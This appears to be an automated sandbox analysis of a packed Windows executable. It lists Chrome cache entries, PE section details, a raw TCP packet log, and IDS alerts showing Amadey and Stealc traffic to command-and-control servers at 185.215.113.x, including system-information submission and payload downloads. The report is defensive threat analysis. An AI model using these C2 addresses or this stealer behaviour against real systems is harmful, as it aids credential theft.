SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8561)
Category:	downloaded
Size (bytes):	8566
Entropy (8bit):	5.782764155178148
Encrypted:	false
SSDEEP:	192:nQsTXhUF3UXmTg7LnBFd66666/zF6SsOrnZRqvNJjh9N94628:nQkXhUSmgl66666yWnZONFR9461
MD5:	BB27D6B11267C7ACCA5DC1CEF9F9C338
SHA1:	B21988390F0EB63C0A73C8A87BF70516BD5E0539
SHA-256:	52DE35187F6464B36B3CC47E2FDBBE966EEEBE9DE630D5349E3162F6A93948B4
SHA-512:	6E5E56DDD3A2EFC6C8E001F7DCFA42265A945B12A3967BDB90DE9290B58E732473E34435A51AE09F29431A0773FF9CA8F658427623B14E3437A30C9048ECDE71
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["$25 flights amazon prime","pittsburgh steelers","quavo luke bryan teddy swims","minnesota snow potential","indiana jones and the great circle","fbi warns iphone android users","nba lakers","rockstar games gta 6 trailer"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CggvbS8wNXRmbRINRm9vdGJhbGwgdGVhbTKiEGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFCQUNBTUFBQUNkdDRIc0FBQUEzbEJNVkVYLy8vK2xySy91clI0QVU1dkdERENxc2JTaXFhd0FBQUQ3Ky92dHFBREh5c3pEQUJ3QVJwV2VwcW56OVBURkFDd0FRNVN3c0xBOFBEdytRa1J2ZFhlM3Q3ZE9VbFRpNU9YUjFOWDIxNkR2dERtU21Kc2xKU1dPam83REFCZUFnSUI0ZUhnVEV4TVlIQjZrcEtUNjU4YTV2c0Q0M3JLY25Kejg4ZDR0TGk3NDV1bmRoWkZXV2x3MU5UVm1abVlBVHBuYjVlLy8vTy96eG5UMHpvcnl3V1R4dkZmMHpILzExTnZubzY3V2FuanZ5TTNDQUFmbnNMZk5RVmZpbDZIc3ZNUExNRW5hZVliVVhXL0oyT2l3d2RpRm9zWXZhS1ZSZmJGdmtyMldyY3l4UjJPcUFBQUU1a2xFUVZSWWhaMVhlWCtpT

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134268
Entropy (8bit):	5.441689480084297
Encrypted:	false
SSDEEP:	3072:fPkX33ov7GsG688fJbk/5xns0LWjwR2i6o:fw3lr6t2/5xns0awR8o
MD5:	728B743999A514FBD4BC6CBBEB27B3C6
SHA1:	01B0F29AC4DA6E06AF103DE0B2E7F1CFD6C96125
SHA-256:	A5526897EA4E7998AC378DB87045141D9917416E65C5FB3DCC73808B5E4A9515
SHA-512:	0188A07F1DDF3B487493C1AB40C2D9C4951AB7B6FBB5183A49AB77F16E562D516CEC4066BD6403570D41AD85AF4A0D35616A2CEEB52F4994AC1EE097D28EDB7E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.359025814101316
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'189'120 bytes
MD5:	df2148240759f523a1f6222d9dde9593
SHA1:	909ac448b4c693897ad338a1584cd6b9e9bfecb8
SHA256:	c345aac946f217493e26b70406e93e028985d34c0575b087f208f3dd9c48075d
SHA512:	124831e7a863adc481f884663d61ce0d9423f5ce339c664e41aa2cd24d1b6216a04272d0ef3dbad1b40d10b542ef9f85adba8ab022f4bcb39a0229b4cc300b86
SSDEEP:	24576:LOt2F+kP9/rSK+V8RYMPfrAdVwMd2AV3xVHtivEDGCIN7/kJsvgTGDAEID1wD/sl:ityDlzP8dTlV3xQDvhVI4/l9X3Lnv
TLSH:	C03639A1B60771CFD8DA1A74B417CD82A8BD83BA07154DC7992CB47A6EE7CC011BED18
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8f4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F446517E96Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x249000	0074bdc8f815f2d53093796653edd582	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uftnznnm	0x24c000	0x2a7000	0x2a6400	7b9e318fdcae6a9367d303559acaa5ab	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hqjjgthm	0x4f3000	0x1000	0x400	7a83143e7b047de390b4937dba626e71	False	0.7802734375	data	6.052759418499422	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4f4000	0x3000	0x2200	9b9084ec7e3db371e846004d00868a0d	False	0.05859375	DOS executable (COM)	0.7337627781260103	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-07T15:06:01.486824+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49745	TCP
2024-12-07T15:06:12.680199+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-12-07T15:06:13.121800+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-12-07T15:06:13.242939+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49706	TCP
2024-12-07T15:06:13.562553+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-12-07T15:06:13.692172+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49706	TCP
2024-12-07T15:06:14.992169+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-12-07T15:06:15.701916+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49706	185.215.113.206	80	TCP
2024-12-07T15:06:42.576867+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:44.449653+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:45.939200+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:47.020861+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:50.863555+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:51.980059+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:57.807073+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49740	185.215.113.16	80	TCP
2024-12-07T15:08:05.481381+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49744	185.215.113.43	80	TCP
2024-12-07T15:08:09.932673+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49746	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 15:06:01.486824036 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.488938093 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.551103115 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.595572948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.608648062 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.616581917 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.618908882 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.743207932 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.745692968 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.748020887 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.748085976 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.748102903 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.748156071 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.750121117 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.750279903 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.869862080 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.911506891 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.930774927 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.933110952 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.935051918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:01.935126066 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:01.936811924 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.052822113 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.056483030 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.061882019 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.064440966 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.066869020 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.066883087 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.066946983 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.069636106 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.070043087 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.189429045 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.231566906 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.277046919 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.280173063 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.376101017 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.376179934 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.378458977 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.381424904 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.383157969 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.386352062 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.386419058 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.386440992 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.386477947 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.388968945 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.389364958 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.399933100 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.498168945 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.502856970 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.508745909 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.509073019 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.594698906 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.597562075 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.699595928 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.699654102 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.699739933 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.701692104 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.706365108 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.706440926 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.706454992 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.706499100 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.717304945 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.765122890 CET	49673	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:02.912477970 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:02.952591896 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:02.967240095 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.010601997 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.039288044 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.086945057 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.097302914 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.106148958 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.124517918 CET	49672	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:03.130429029 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.159025908 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.217986107 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.227494001 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.281620979 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.309381962 CET	49676	443	192.168.2.8	52.182.143.211
Dec 7, 2024 15:06:03.327534914 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.329262972 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.351279020 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.380851984 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.409110069 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.409193993 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.417828083 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.417896986 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.418905020 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.420933962 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.449084997 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.473442078 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.473545074 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.506962061 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:03.537586927 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.540666103 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.675544024 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.692467928 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:03.733901024 CET	49705	443	192.168.2.8	13.107.246.63
